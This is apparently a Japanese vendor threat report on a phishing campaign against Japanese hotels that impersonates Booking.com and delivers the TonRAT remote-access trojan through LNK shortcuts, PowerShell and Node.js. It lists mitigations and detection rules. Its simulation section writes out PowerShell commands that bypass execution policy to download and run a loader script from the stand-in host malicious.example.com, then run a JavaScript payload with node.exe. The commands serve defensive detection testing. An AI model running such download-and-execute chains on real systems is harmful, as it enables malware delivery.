ホテル業界を狙った不審なメールの分析
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Booking.comを装ったフィッシングキャンペーンが、日本のホテルオペレーターをターゲットにCalendlyとSendGridでホスティングされたインフラを通じて攻撃しました。このメールには、LNKショートカットの含まれたZIPアーカイブに誘導する短縮リンクが含まれており、それがPowerShellベースのローダーを起動します。そのローダーは追加のPowerShellスクリプトを取得し、TonRATと識別されるJavaScriptペイロードを復号、Node.jsをダウンロードし、RATを実行します。その後、マルウェアはTON APIを介して取得されたWebSocketエンドポイントを通じてコマンド&コントロールを確立します。
調査
このレポートは、メールヘッダーの分析、正当な配送サービスの悪用、攻撃に使用されたマルチステージ実行チェーンを詳述しています。ZIPアーカイブと内部コンポーネントのファイルハッシュを提供し、分析中に観察されたコマンド&コントロールドメインを一覧にしています。また、悪意のあるLNKファイルと感染を進行させるために使用されたPowerShellコマンドに関する技術的詳細も含まれています。
緩和策
防御者は疑わしいCalendly短縮リンクをブロックし、送信者ドメインを注意深く確認し、メールで送付されたLNK添付ファイルの実行を制限する必要があります。また、監視は未承認のPowerShell活動やエンドポイント上に現れる予期しないNode.jsバイナリに焦点を当てるべきです。URLフィルタリングは、このキャンペーンに関与している既知の悪意のあるドメインへのアクセスをブロックするのに役立ちます。
対応
セキュリティチームは、特定されたコマンド&コントロールドメインからコンテンツをダウンロードするPowerShellコマンドと、 node.exe を異常な場所から実行する検出を作成する必要があります。信頼できないまたは予期しないソースからのSendGridヘッダーを使用したメールフローのアラートも設定するべきです。調査者は、ドロップされたファイルを収集し、観察されたWebSocket通信に関連するネットワークトラフィックを保持する必要があります。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% ノード action_phishing["<b>アクション</b> – <b>T1566.002 スピアフィッシングリンク</b><br/>悪意のあるCalendlyリンクを含むフィッシングメールが被害者に送信される。"] class action_phishing action action_user_click["<b>アクション</b> – <b>T1204.001 ユーザー実行: 悪意のあるリンク</b><br/>被害者が悪意のあるCalendlyリンクをクリックし、ブラウザはZIPアーカイブをダウンロードする。"] class action_user_click action action_download_zip["<b>アクション</b> – ZIPダウンロード<br/>ZIPアーカイブはショートカット(.lnk)とダミーのMP4ファイルを含む。"] class action_download_zip action action_open_shortcut["<b>アクション</b> – <b>T1547.009 ショートカット変更</b><br/>被害者が.lnkショートカットを開くと、PowerShellコマンドが実行される。"] class action_open_shortcut action tool_powershell["<b>ツール</b> – PowerShell<br/><b>目的</b>: コマンドを実行し、追加のペイロードをダウンロードする。"] class tool_powershell tool action_download_script["<b>アクション</b> – <b>T1105 インフレストール転送</b><br/>PowerShellがリモートサーバーから追加のスクリプトをダウンロードする。"] class action_download_script action action_download_js["<b>アクション</b> – <b>T1027.009 埋め込みペイロード</b><br/>PowerShellが暗号化されたJavaScriptペイロードもダウンロードする。"] class action_download_js action action_download_node["<b>アクション</b> – Node.jsランタイムをダウンロード<br/>Node.jsランタイムがダウンロードされ、次のステージを起動するために使用される。"] class action_download_node process malware_tonrat["<b>マルウェア</b> – TonRAT<br/>Node.js経由で実行されるJavaScriptベースの遠隔操作トロイの木馬。"] class malware_tonrat malware action_dynamic_resolution["<b>アクション</b> – <b>T1568 動的解決</b><br/>TonRATが実行時にコマンド&コントロールドメインを解決するためにTON APIを照会する。"] class action_dynamic_resolution action action_c2["<b>アクション</b> – <b>T1071.001 アプリケーション層プロトコル: Webプロトコル</b><br/>C2通信のためのWebSocketチャンネルを確立する。"] class action_c2 action %% 接続 action_phishing –>|リードトゥー| action_user_click action_user_click –>|トリガー| action_download_zip action_download_zip –>|含む| action_open_shortcut action_open_shortcut –>|実行| tool_powershell tool_powershell –>|使用| action_download_script tool_powershell –>|使用| action_download_js action_download_script –>|提供| action_download_node action_download_js –>|提供| action_download_node action_download_node –>|起動| malware_tonrat malware_tonrat –>|実行| action_dynamic_resolution action_dynamic_resolution –>|有効化| action_c2 "
攻撃フロー
検出
不審なトップレベルドメイン(TLD)DNSリクエストによる指揮統制の可能性(dns経由)
表示
二重拡張子を持つ可能性のある悪意のあるLNKファイル(cmdline経由)
表示
隠れたPowerShellコマンドラインによる実行の可能性(cmdline経由)
表示
バイパス実行ポリシーを使用して不審なディレクトリでファイルを実行するPowerShell(cmdline経由)
表示
PowerShellの難読化インジケーターの可能性(powershell経由)
表示
ホテル業界をターゲットにした疑わしいメールの分析を検出するIOCs (SourceIP)(キャンペーン概要 第1部)
表示
ホテル業界をターゲットにした疑わしいメールの分析を検出するIOCs (DestinationIP)(キャンペーン概要 第1部)
表示
Calendlyを経由したBooking.comを装うフィッシングメールの検出[Email]
表示
PowerShellとNode.jsランタイムを通じたTonRATデプロイの検出[Windows Powershell]
表示
シミュレーション実行
前提条件: テレメトリおよびベースラインの事前チェックが合格している必要があります。
理論: このセクションでは、敵の技術(技術的手法、TTP)を発動させるために設計された検出ルールの具体的な実行を詳しく説明します。コマンドとナレーションは、確認されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目指します。
-
攻撃のストーリーとコマンド:
-
初期アクセス – PowerShellダウンロード
攻撃者は、侵害されたホスト上でPowerShellリモートセッションを取得し、Invoke-WebRequestを使用して悪意のあるC2サーバーからTonRATローダースクリプトを取得します。このステップはInvoke-WebRequest文字列一致を満たします。powershell -NoProfile -ExecutionPolicy Bypass -Command ^ "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1" -
ローダーの実行
ダウンロードされたスクリプトが実行され、それに続いて追加のコマンドを実行する2つ目のPowerShellプロセスが生成されます(まだ「PowerShell」という文字を含んでいます)。powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1 -
Node.jsペイロード実行
TonRATは悪意のあるJavaScriptファイル(malicious.js)をドロップし、Node.jsランタイムで実行します(node.exe)。これにより、node.exe文字列一致を満たします。# スクリプトが既にC:Tempにmalicious.jsを配置していると仮定します C:Program Filesnodejsnode.exe C:Tempmalicious.js
3つのプロセス作成(
Invoke-WebRequestと共にPowerShell、ローダーを実行するPowerShell、およびnode.exe)は共同して検出ルールの条件を満たします。 -
-
回帰テストスクリプト:
#------------------------------------------------- # TonRATデプロイメントシミュレーション - Sigmaルールをトリガー #------------------------------------------------- $tempDir = "$env:TEMPtonrat_demo" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null # 1. 偽のローダーをダウンロード(単純なエコーでシミュレート) $loaderUrl = "http://malicious.example.com/tonrat.ps1" $loaderPath = "$tempDirtonrat.ps1" Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing # 2. ローダーを実行する(ローダーは単にダミーのjsファイルを作成する) powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath # 3. ダミーJavaScriptペイロードを作成 $jsPath = "C:Tempmalicious.js" Set-Content -Path $jsPath -Value "console.log('Malicious payload executed');" # 4. Node.jsでペイロードを実行 $nodePath = "C:Program Filesnodejsnode.exe" & $nodePath $jsPath #------------------------------------------------- -
クリーンアップコマンド:
# シミュレーションで作成されたすべてのアーティファクトを削除 Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force Remove-Item -Path "C:Tempmalicious.js" -Force # 必要に応じて、残っているPowerShell/Nodeプロセスを停止(必須なら) Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force